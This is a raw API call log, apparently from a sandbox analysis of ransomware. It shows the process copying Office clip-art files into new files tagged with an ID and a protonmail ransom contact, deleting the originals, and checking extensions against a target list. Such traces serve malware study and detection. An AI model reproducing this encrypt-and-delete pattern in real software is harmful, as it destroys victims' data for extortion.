	[0095.770] ReadFile (in: hFile=0x380, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.770] WriteFile (in: hFile=0x300, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0095.770] SetEndOfFile (hFile=0x300) returned 1
	[0095.770] CloseHandle (hObject=0x300) returned 1
	[0095.771] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.771] SetEndOfFile (hFile=0x380) returned 1
	[0095.771] CloseHandle (hObject=0x380) returned 1
	[0095.771] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0095.772] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf")) returned 1
	[0095.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0095.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0095.772] lstrlenW (lpString=".doc") returned 4
	[0095.772] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.772] lstrlenW (lpString=".docx") returned 5
	[0095.772] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.772] lstrlenW (lpString=".pdf") returned 4
	[0095.772] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.772] lstrlenW (lpString=".xls") returned 4
	[0095.772] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.772] lstrlenW (lpString=".xlsx") returned 5
	[0095.772] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.772] lstrlenW (lpString=".ppt") returned 4
	[0095.772] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0095.772] lstrlenW (lpString=".zip") returned 4
	[0095.772] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.772] lstrlenW (lpString=".rar") returned 4
	[0095.772] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.772] lstrlenW (lpString=".bz2") returned 4
	[0095.772] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.772] lstrlenW (lpString=".7z") returned 3
	[0095.772] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0095.772] lstrlenW (lpString=".dbf") returned 4
	[0095.773] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0095.773] lstrlenW (lpString=".1cd") returned 4
	[0095.773] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0095.773] lstrlenW (lpString=".jpg") returned 4
	[0095.773] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0095.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0095.773] lstrlenW (lpString=".doc") returned 4
	[0095.773] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.773] lstrlenW (lpString=".docx") returned 5
	[0095.773] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.773] lstrlenW (lpString=".pdf") returned 4
	[0095.773] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.773] lstrlenW (lpString=".xls") returned 4
	[0095.773] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.773] lstrlenW (lpString=".xlsx") returned 5
	[0095.773] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.773] lstrlenW (lpString=".ppt") returned 4
	[0095.773] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0095.773] lstrlenW (lpString=".zip") returned 4
	[0095.773] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.773] lstrlenW (lpString=".rar") returned 4
	[0095.773] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.773] lstrlenW (lpString=".bz2") returned 4
	[0095.773] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.773] lstrlenW (lpString=".7z") returned 3
	[0095.773] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0095.773] lstrlenW (lpString=".dbf") returned 4
	[0095.773] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0095.773] lstrlenW (lpString=".1cd") returned 4
	[0095.773] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68
	[0095.774] lstrlenW (lpString=".jpg") returned 4
	[0095.774] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.774] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0095.774] lstrlenW (lpString="IN00204_.WMF") returned 12
	[0095.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0095.774] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=1848) returned 1
	[0095.774] CloseHandle (hObject=0x380) returned 1
	[0095.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf")) returned 0x220
	[0095.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0095.774] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.774] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0095.775] GetLastError () returned 0x0
	[0095.775] ReadFile (in: hFile=0x380, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x738, lpOverlapped=0x0) returned 1
	[0095.776] WriteFile (in: hFile=0x300, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x740, lpOverlapped=0x0) returned 1
	[0095.777] ReadFile (in: hFile=0x380, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.777] WriteFile (in: hFile=0x300, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0095.777] SetEndOfFile (hFile=0x300) returned 1
	[0095.777] CloseHandle (hObject=0x300) returned 1
	[0095.777] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.777] SetEndOfFile (hFile=0x380) returned 1
	[0095.778] CloseHandle (hObject=0x380) returned 1
	[0095.778] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0095.778] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf")) returned 1
	[0095.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0095.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0095.779] lstrlenW (lpString=".doc") returned 4
	[0095.779] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.779] lstrlenW (lpString=".docx") returned 5
	[0095.779] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.779] lstrlenW (lpString=".pdf") returned 4
	[0095.779] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.779] lstrlenW (lpString=".xls") returned 4
	[0095.779] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.779] lstrlenW (lpString=".xlsx") returned 5
	[0095.779] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.779] lstrlenW (lpString=".ppt") returned 4
	[0095.779] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0095.779] lstrlenW (lpString=".zip") returned 4
	[0095.779] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.779] lstrlenW (lpString=".rar") returned 4
	[0095.779] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.779] lstrlenW (lpString=".bz2") returned 4
	[0095.779] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.779] lstrlenW (lpString=".7z") returned 3
	[0095.779] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0095.779] lstrlenW (lpString=".dbf") returned 4
	[0095.779] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0095.779] lstrlenW (lpString=".1cd") returned 4
	[0095.779] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0095.780] lstrlenW (lpString=".jpg") returned 4
	[0095.780] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0095.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0095.780] lstrlenW (lpString=".doc") returned 4
	[0095.780] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.780] lstrlenW (lpString=".docx") returned 5
	[0095.780] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.780] lstrlenW (lpString=".pdf") returned 4
	[0095.780] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.780] lstrlenW (lpString=".xls") returned 4
	[0095.780] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.780] lstrlenW (lpString=".xlsx") returned 5
	[0095.780] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.780] lstrlenW (lpString=".ppt") returned 4
	[0095.780] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0095.780] lstrlenW (lpString=".zip") returned 4
	[0095.780] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.780] lstrlenW (lpString=".rar") returned 4
	[0095.780] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.780] lstrlenW (lpString=".bz2") returned 4
	[0095.780] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.780] lstrlenW (lpString=".7z") returned 3
	[0095.780] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0095.780] lstrlenW (lpString=".dbf") returned 4
	[0095.780] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0095.780] lstrlenW (lpString=".1cd") returned 4
	[0095.780] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0095.780] lstrlenW (lpString=".jpg") returned 4
	[0095.780] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.781] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0095.781] lstrlenW (lpString="IN00233_.WMF") returned 12
	[0095.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0095.781] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=11190) returned 1
	[0095.781] CloseHandle (hObject=0x380) returned 1
	[0095.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf")) returned 0x220
	[0095.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0095.781] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.781] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0095.782] GetLastError () returned 0x0
	[0095.782] ReadFile (in: hFile=0x380, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x2bb6, lpOverlapped=0x0) returned 1
	[0095.783] WriteFile (in: hFile=0x300, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0095.784] ReadFile (in: hFile=0x380, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.784] WriteFile (in: hFile=0x300, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0095.784] SetEndOfFile (hFile=0x300) returned 1
	[0095.785] CloseHandle (hObject=0x300) returned 1
	[0095.785] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.785] SetEndOfFile (hFile=0x380) returned 1
	[0095.786] CloseHandle (hObject=0x380) returned 1
	[0095.786] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0095.786] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf")) returned 1
	[0095.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0095.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0095.786] lstrlenW (lpString=".doc") returned 4
	[0095.786] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.786] lstrlenW (lpString=".docx") returned 5
	[0095.786] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.786] lstrlenW (lpString=".pdf") returned 4
	[0095.786] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.786] lstrlenW (lpString=".xls") returned 4
	[0095.786] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.786] lstrlenW (lpString=".xlsx") returned 5
	[0095.786] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.786] lstrlenW (lpString=".ppt") returned 4
	[0095.786] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0095.786] lstrlenW (lpString=".zip") returned 4
	[0095.786] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.786] lstrlenW (lpString=".rar") returned 4
	[0095.787] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.787] lstrlenW (lpString=".bz2") returned 4
	[0095.787] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.787] lstrlenW (lpString=".7z") returned 3
	[0095.787] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0095.787] lstrlenW (lpString=".dbf") returned 4
	[0095.787] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0095.787] lstrlenW (lpString=".1cd") returned 4
	[0095.787] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0095.787] lstrlenW (lpString=".jpg") returned 4
	[0095.787] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0095.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0095.787] lstrlenW (lpString=".doc") returned 4
	[0095.787] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.787] lstrlenW (lpString=".docx") returned 5
	[0095.787] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.787] lstrlenW (lpString=".pdf") returned 4
	[0095.787] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.787] lstrlenW (lpString=".xls") returned 4
	[0095.787] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.787] lstrlenW (lpString=".xlsx") returned 5
	[0095.787] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.787] lstrlenW (lpString=".ppt") returned 4
	[0095.787] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0095.787] lstrlenW (lpString=".zip") returned 4
	[0095.787] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.787] lstrlenW (lpString=".rar") returned 4
	[0095.787] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.787] lstrlenW (lpString=".bz2") returned 4
	[0095.787] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.787] lstrlenW (lpString=".7z") returned 3
	[0095.788] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0095.788] lstrlenW (lpString=".dbf") returned 4
	[0095.788] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0095.788] lstrlenW (lpString=".1cd") returned 4
	[0095.788] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68
	[0095.788] lstrlenW (lpString=".jpg") returned 4
	[0095.788] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.788] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0095.788] lstrlenW (lpString="IN00343_.WMF") returned 12
	[0095.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0095.789] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=1892) returned 1
	[0095.789] CloseHandle (hObject=0x380) returned 1
	[0095.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf")) returned 0x220
	[0095.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0095.789] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.789] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0095.789] GetLastError () returned 0x0
	[0095.789] ReadFile (in: hFile=0x380, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x764, lpOverlapped=0x0) returned 1
